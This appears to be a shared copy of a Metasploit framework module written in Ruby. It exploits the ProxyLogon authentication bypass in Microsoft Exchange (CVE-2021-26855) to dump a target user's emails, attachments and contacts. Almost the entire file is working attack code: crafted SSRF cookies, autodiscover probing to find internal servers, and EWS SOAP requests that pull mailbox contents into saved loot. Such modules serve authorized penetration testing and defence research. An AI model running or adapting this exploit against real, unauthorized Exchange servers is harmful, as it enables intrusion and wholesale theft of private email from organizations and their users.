CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/exchange_proxylogon_collector.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
# begin auxiliary class
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Microsoft Exchange ProxyLogon Collector',
15
'Description' => %q{
16
This module exploit a vulnerability on Microsoft Exchange Server that
17
allows an attacker bypassing the authentication and impersonating as the
18
admin (CVE-2021-26855).
19
20
By taking advantage of this vulnerability, it is possible to dump all
21
mailboxes (emails, attachments, contacts, ...).
22
23
This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
24
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
25
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
26
27
All components are vulnerable by default.
28
},
29
'Author' => [
30
'Orange Tsai', # Discovery (Officially acknowledged by MSRC)
31
'GreyOrder', # PoC (https://github.com/GreyOrder)
32
'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise)
33
],
34
'References' => [
35
['CVE', '2021-26855'],
36
['LOGO', 'https://proxylogon.com/images/logo.jpg'],
37
['URL', 'https://proxylogon.com/'],
38
['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'],
39
['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'],
40
['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py']
41
],
42
'DisclosureDate' => '2021-03-02',
43
'License' => MSF_LICENSE,
44
'DefaultOptions' => {
45
'RPORT' => 443,
46
'SSL' => true
47
},
48
'Actions' => [
49
[
50
'Dump (Contacts)', {
51
'Description' => 'Dump user contacts from exchange server',
52
'id_attribute' => 'contacts'
53
}
54
],
55
[
56
'Dump (Emails)', {
57
'Description' => 'Dump user emails from exchange server'
58
}
59
]
60
],
61
'DefaultAction' => 'Dump (Emails)',
62
'Notes' => {
63
'AKA' => ['ProxyLogon'],
64
'Stability' => [CRASH_SAFE],
65
'Reliability' => [],
66
'SideEffects' => [IOC_IN_LOGS]
67
}
68
)
69
)
70
71
register_options([
72
OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]),
73
OptString.new('EMAIL', [true, 'The email account what you want dump']),
74
OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
75
OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]),
76
OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted'])
77
])
78
79
register_advanced_options([
80
OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647])
81
])
82
end
83
84
XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze
85
86
def dump_contacts(server_name)
87
ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"
88
89
response = send_xml('POST', ssrf, soap_countitems(action['id_attribute']))
90
if response.body =~ /Success/
91
print_good("Successfully connected to: #{action['id_attribute']}")
92
xml = Nokogiri::XML.parse(response.body)
93
94
folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0)
95
print_status("Selected folder: #{action['id_attribute']} (#{folder_id})")
96
97
total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content
98
print_status("Number of contact found: #{total_count}")
99
100
if total_count.to_i > datastore['MaxEntries']
101
print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}")
102
total_count = datastore['MaxEntries'].to_s
103
end
104
105
response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count))
106
xml = Nokogiri::XML.parse(response.body)
107
108
print_status(message("Processing dump of #{total_count} items"))
109
data = xml.xpath('//t:Items/t:Contact', XMLNS)
110
if data.empty?
111
print_status('The user has no contacts')
112
else
113
write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s)
114
end
115
end
116
end
117
118
def dump_emails(server_name)
119
ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"
120
121
response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER']))
122
if response.body =~ /Success/
123
print_good("Successfully connected to: #{datastore['FOLDER']}")
124
xml = Nokogiri::XML.parse(response.body)
125
126
folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0)
127
print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})")
128
129
total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content
130
print_status("Number of email found: #{total_count}")
131
132
if total_count.to_i > datastore['MaxEntries']
133
print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}")
134
total_count = datastore['MaxEntries'].to_s
135
end
136
137
print_status(message("Processing dump of #{total_count} items"))
138
download_items(total_count, ssrf)
139
end
140
end
141
142
def download_attachments(item_id, ssrf)
143
response = send_xml('POST', ssrf, soap_listattachments(item_id))
144
xml = Nokogiri::XML.parse(response.body)
145
146
xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item|
147
item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0)
148
149
response = send_xml('POST', ssrf, soap_downattachment(item_id))
150
data = Nokogiri::XML.parse(response.body)
151
152
filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content
153
ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content
154
content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content
155
156
print_status(" -> attachment: #{item_id} (#{filename})")
157
write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype)
158
end
159
end
160
161
def download_items(total_count, ssrf)
162
response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count))
163
xml = Nokogiri::XML.parse(response.body)
164
165
xml.xpath('//t:Items/t:Message', XMLNS).each do |item|
166
item_info = item.at_xpath('./t:ItemId', XMLNS)&.values
167
next if item_info.nil?
168
169
print_status("Download item: #{item_info[1]}")
170
171
response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1]))
172
data = Nokogiri::XML.parse(response.body)
173
174
email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content
175
write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email))
176
177
attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content
178
if datastore['ATTACHMENTS'] && attachments == 'true'
179
download_attachments(item_info[0], ssrf)
180
end
181
print_status
182
end
183
end
184
185
def message(msg)
186
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
187
end
188
189
def random_ssrf_id
190
# https://en.wikipedia.org/wiki/2,147,483,647 (lol)
191
# max. 2147483647
192
rand(1941962752..2147483647)
193
end
194
195
def request_autodiscover(server_name)
196
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }
197
198
response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover)
199
200
case response.body
201
when %r{<ErrorCode>500</ErrorCode>}
202
fail_with(Failure::NotFound, 'No Autodiscover information was found')
203
when %r{<Action>redirectAddr</Action>}
204
fail_with(Failure::NotFound, 'No email address was found')
205
end
206
207
xml = Nokogiri::XML.parse(response.body)
208
209
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
210
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank?
211
212
server = ''
213
owa_urls = []
214
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
215
type = item.at_xpath('./xmlns:Type', xmlns)&.content
216
if type == 'EXCH'
217
server = item.at_xpath('./xmlns:Server', xmlns)&.content
218
end
219
220
next unless type == 'WEB'
221
222
item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url|
223
owa_urls << owa_url.content
224
end
225
end
226
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
227
fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty?
228
229
return([server, legacy_dn, owa_urls])
230
end
231
232
def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded')
233
request = {
234
'method' => method,
235
'uri' => @random_uri,
236
'cookie' => "X-BEResource=#{ssrf};",
237
'ctype' => ctype
238
}
239
request = request.merge({ 'data' => data }) unless data.empty?
240
241
received = send_request_cgi(request)
242
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
243
244
received
245
end
246
247
def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8')
248
send_http(method, ssrf, data: data, ctype: ctype)
249
end
250
251
def soap_autodiscover
252
<<~SOAP
253
<?xml version="1.0" encoding="utf-8"?>
254
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
255
<Request>
256
<EMailAddress>#{datastore['EMAIL']}</EMailAddress>
257
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
258
</Request>
259
</Autodiscover>
260
SOAP
261
end
262
263
def soap_countitems(folder_id)
264
<<~SOAP
265
<?xml version="1.0" encoding="utf-8"?>
266
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
267
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
268
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
269
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
270
<soap:Body>
271
<m:GetFolder>
272
<m:FolderShape>
273
<t:BaseShape>Default</t:BaseShape>
274
</m:FolderShape>
275
<m:FolderIds>
276
<t:DistinguishedFolderId Id="#{folder_id}">
277
<t:Mailbox>
278
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
279
</t:Mailbox>
280
</t:DistinguishedFolderId>
281
</m:FolderIds>
282
</m:GetFolder>
283
</soap:Body>
284
</soap:Envelope>
285
SOAP
286
end
287
288
def soap_listattachments(item_id)
289
<<~SOAP
290
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
291
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
292
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
293
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
294
<soap:Body>
295
<m:GetItem>
296
<m:ItemShape>
297
<t:BaseShape>IdOnly</t:BaseShape>
298
<t:AdditionalProperties>
299
<t:FieldURI FieldURI="item:Attachments" />
300
</t:AdditionalProperties>
301
</m:ItemShape>
302
<m:ItemIds>
303
<t:ItemId Id="#{item_id}" />
304
</m:ItemIds>
305
</m:GetItem>
306
</soap:Body>
307
</soap:Envelope>
308
SOAP
309
end
310
311
def soap_listitems(folder_id, max_entries)
312
<<~SOAP
313
<?xml version='1.0' encoding='utf-8'?>
314
<soap:Envelope
315
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
316
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
317
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
318
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
319
<soap:Body>
320
<m:FindItem Traversal='Shallow'>
321
<m:ItemShape>
322
<t:BaseShape>AllProperties</t:BaseShape>
323
</m:ItemShape>
324
<m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />
325
<m:ParentFolderIds>
326
<t:DistinguishedFolderId Id='#{folder_id}'>
327
<t:Mailbox>
328
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
329
</t:Mailbox>
330
</t:DistinguishedFolderId>
331
</m:ParentFolderIds>
332
</m:FindItem>
333
</soap:Body>
334
</soap:Envelope>
335
SOAP
336
end
337
338
def soap_downattachment(item_id)
339
<<~SOAP
340
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
341
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
342
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
343
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
344
<soap:Body>
345
<m:GetAttachment>
346
<m:AttachmentIds>
347
<t:AttachmentId Id="#{item_id}" />
348
</m:AttachmentIds>
349
</m:GetAttachment>
350
</soap:Body>
351
</soap:Envelope>
352
SOAP
353
end
354
355
def soap_downitem(id, change_key)
356
<<~SOAP
357
<?xml version="1.0" encoding="utf-8"?>
358
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
359
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
360
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
361
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
362
<soap:Body>
363
<m:GetItem>
364
<m:ItemShape>
365
<t:BaseShape>IdOnly</t:BaseShape>
366
<t:IncludeMimeContent>true</t:IncludeMimeContent>
367
</m:ItemShape>
368
<m:ItemIds>
369
<t:ItemId Id="#{id}" ChangeKey="#{change_key}" />
370
</m:ItemIds>
371
</m:GetItem>
372
</soap:Body>
373
</soap:Envelope>
374
SOAP
375
end
376
377
def write_loot(type, data, name = '', ctype = 'text/plain')
378
loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '')
379
print_good("File saved to #{loot_path}")
380
end
381
382
def run
383
@proto = (ssl ? 'https' : 'http')
384
@random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js")
385
386
print_status(message('Attempt to exploit for CVE-2021-26855'))
387
388
# request for internal server name.
389
response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")
390
if response.code != 500 || !response.headers.to_s.include?('X-FEServer')
391
fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')
392
end
393
server_name = response.headers['X-FEServer']
394
print_status("Internal server name (#{server_name})")
395
396
# get information by autodiscover request.
397
print_status(message('Sending autodiscover request'))
398
server_id, legacy_dn, owa_urls = request_autodiscover(server_name)
399
400
print_status("Server: #{server_id}")
401
print_status("LegacyDN: #{legacy_dn}")
402
print_status("Internal target(s): #{owa_urls.join(', ')}")
403
404
# selecting target
405
print_status(message('Selecting the first internal server to respond'))
406
if datastore['TARGET'].nil? || datastore['TARGET'].empty?
407
target = ''
408
owa_urls.each do |url|
409
host = url.split('://')[1].split('.')[0].downcase
410
next unless host != server_name.downcase
411
412
response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}")
413
next unless response.code == 200
414
415
target = host
416
print_good("Targeting internal: #{url}")
417
418
break
419
end
420
fail_with(Failure::NotFound, 'No internal target was found') if target.empty?
421
else
422
target = datastore['TARGET']
423
print_good("Targeting internal forced to: #{target}")
424
end
425
426
# run action
427
case action.name
428
when /Dump \(Contacts\)/
429
print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>"))
430
dump_contacts(target)
431
when /Dump \(Emails\)/
432
print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>"))
433
dump_emails(target)
434
end
435
end
436
437
end
438
439